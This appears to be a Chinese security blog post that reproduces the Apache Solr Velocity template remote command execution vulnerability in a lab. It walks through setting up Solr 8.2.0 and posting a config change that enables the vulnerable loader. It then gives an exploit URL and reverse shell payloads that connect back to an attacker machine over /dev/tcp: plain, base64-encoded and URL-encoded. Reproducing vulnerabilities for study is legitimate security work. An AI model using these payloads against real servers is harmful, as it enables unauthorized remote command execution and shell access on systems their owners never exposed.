Solr Velocity 模板远程命令执行漏洞 + 反弹外壳
最编程
2024-07-14 16:35:21
...
作者来自我们:夜行字节(字节脉搏实验室)
这个漏洞出来好几天了一直没有时间进行复现
漏洞需要java的环境,这里我就直接在kali上进行搭建了
环境搭建
首先下载源码
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.tgz
解压之后进入bin目录下,运行
/solr create_core -c alice -d ../example/example-DIH/solr/db -force
这里是新建了一个alice的core,然后启用环境
./solr start -force
默认端口是8983,我们访问这个地址,然后在core admin中找到了alice
每一个我们新建的core都有配置信息
这里我们要修改一下配置,我们要将params.resource.loader.enabled这个参数设置为true,默认为false,才能触发漏洞,post提交下面的内容
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
返回200,说明修改成功
漏洞环境就搭建到这里啦
漏洞复现
payload:
http://192.168.43.128:8983/solr/alice/select?q=1&wt=velocity&v.template=custom&v.template.custom
这样就可以执行命令了,github上也有很多利用的脚本
反弹shell
好像和之前泛微oa的命令执行是一样的,利用了getRuntime().exec()这个函数来执行命令,但是这个函数有一些特性,可以看下面的文章和内容Java下奇怪的命令执行:https://mp.weixin.qq.com/s/ZS-hA03ykKleDjgN8oWZDw
所以我们直接执行命令的时候不能使用:
bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1"
而是要利用base64编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}
这里我们来实验一下: 目标机器:192.168.43.128 攻击机器:192.168.43.1
首先在攻击机器上设置nc监听端口
然后将我们反弹shell的bash命令进行base64编码:
然后进行一次url编码
构造后的payload:
%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEvMTEyMzMgMD4mMQ%3d%3d%7d%7c%7bbase64%2
这样我们就能反弹shell了 脚本就不写咯 :)